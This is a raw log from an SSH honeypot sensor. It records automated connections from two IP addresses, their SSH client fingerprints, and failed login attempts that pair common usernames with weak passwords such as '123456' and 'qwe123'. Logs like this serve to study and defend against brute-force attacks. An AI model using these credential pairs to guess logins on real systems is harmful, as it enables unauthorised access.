{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:58.703080Z","src_ip":"193.151.144.93","session":"d1ecda57976c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:59.871178Z","src_ip":"193.151.144.93","session":"d1ecda57976c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36634,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ef7cb3f7eba","protocol":"ssh","message":"New connection: 193.151.144.93:36634 (10.17.0.5:22) [session: 0ef7cb3f7eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:03.784286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:03.792095Z","src_ip":"193.151.144.93","session":"0ef7cb3f7eba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:03.959181Z","src_ip":"193.151.144.93","session":"0ef7cb3f7eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:04.463560Z","src_ip":"193.151.144.93","session":"0ef7cb3f7eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:05.633537Z","src_ip":"193.151.144.93","session":"0ef7cb3f7eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36650,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd0bfdd5816","protocol":"ssh","message":"New connection: 193.151.144.93:36650 (10.17.0.5:22) [session: 5bd0bfdd5816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:09.666634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:09.672397Z","src_ip":"193.151.144.93","session":"5bd0bfdd5816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:09.840994Z","src_ip":"193.151.144.93","session":"5bd0bfdd5816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:10.345423Z","src_ip":"193.151.144.93","session":"5bd0bfdd5816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:11.521607Z","src_ip":"193.151.144.93","session":"5bd0bfdd5816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57936,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3951371fca3","protocol":"ssh","message":"New connection: 193.151.144.93:57936 (10.17.0.5:22) [session: b3951371fca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:15.204960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:15.209781Z","src_ip":"193.151.144.93","session":"b3951371fca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:15.370997Z","src_ip":"193.151.144.93","session":"b3951371fca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:15.855083Z","src_ip":"193.151.144.93","session":"b3951371fca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:17.020030Z","src_ip":"193.151.144.93","session":"b3951371fca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":41982,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7052d9d0b47","protocol":"ssh","message":"New connection: 103.176.20.57:41982 (10.17.0.5:22) [session: d7052d9d0b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:20.217149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:20.221953Z","src_ip":"103.176.20.57","session":"d7052d9d0b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:20.474626Z","src_ip":"103.176.20.57","session":"d7052d9d0b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44102,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9692818b75a","protocol":"ssh","message":"New connection: 193.151.144.93:44102 (10.17.0.5:22) [session: f9692818b75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:20.773427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:20.779273Z","src_ip":"193.151.144.93","session":"f9692818b75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:20.947545Z","src_ip":"193.151.144.93","session":"f9692818b75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfyxtcnth","message":"login attempt [root/vfyxtcnth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:21.230306Z","src_ip":"103.176.20.57","session":"d7052d9d0b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:21.450449Z","src_ip":"193.151.144.93","session":"f9692818b75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:22.484658Z","src_ip":"103.176.20.57","session":"d7052d9d0b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:22.621535Z","src_ip":"193.151.144.93","session":"f9692818b75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44104,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a039594b59a","protocol":"ssh","message":"New connection: 193.151.144.93:44104 (10.17.0.5:22) [session: 8a039594b59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:26.170728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:26.176299Z","src_ip":"193.151.144.93","session":"8a039594b59a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:26.349810Z","src_ip":"193.151.144.93","session":"8a039594b59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:26.855365Z","src_ip":"193.151.144.93","session":"8a039594b59a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:28.024726Z","src_ip":"193.151.144.93","session":"8a039594b59a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40736,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9181075dec8","protocol":"ssh","message":"New connection: 193.151.144.93:40736 (10.17.0.5:22) [session: e9181075dec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:31.733973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:31.738950Z","src_ip":"193.151.144.93","session":"e9181075dec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:31.907855Z","src_ip":"193.151.144.93","session":"e9181075dec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:32.636355Z","src_ip":"193.151.144.93","session":"e9181075dec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:34.230817Z","src_ip":"193.151.144.93","session":"e9181075dec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40740,"dst_ip":"10.17.0.5","dst_port":22,"session":"4817ef3dacc9","protocol":"ssh","message":"New connection: 193.151.144.93:40740 (10.17.0.5:22) [session: 4817ef3dacc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:37.281168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:37.285391Z","src_ip":"193.151.144.93","session":"4817ef3dacc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:37.455437Z","src_ip":"193.151.144.93","session":"4817ef3dacc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:37.967260Z","src_ip":"193.151.144.93","session":"4817ef3dacc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:40.025483Z","src_ip":"193.151.144.93","session":"4817ef3dacc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59822,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a51512a6457","protocol":"ssh","message":"New connection: 193.151.144.93:59822 (10.17.0.5:22) [session: 4a51512a6457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:42.857141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:42.862543Z","src_ip":"193.151.144.93","session":"4a51512a6457","protocol":"ssh"}
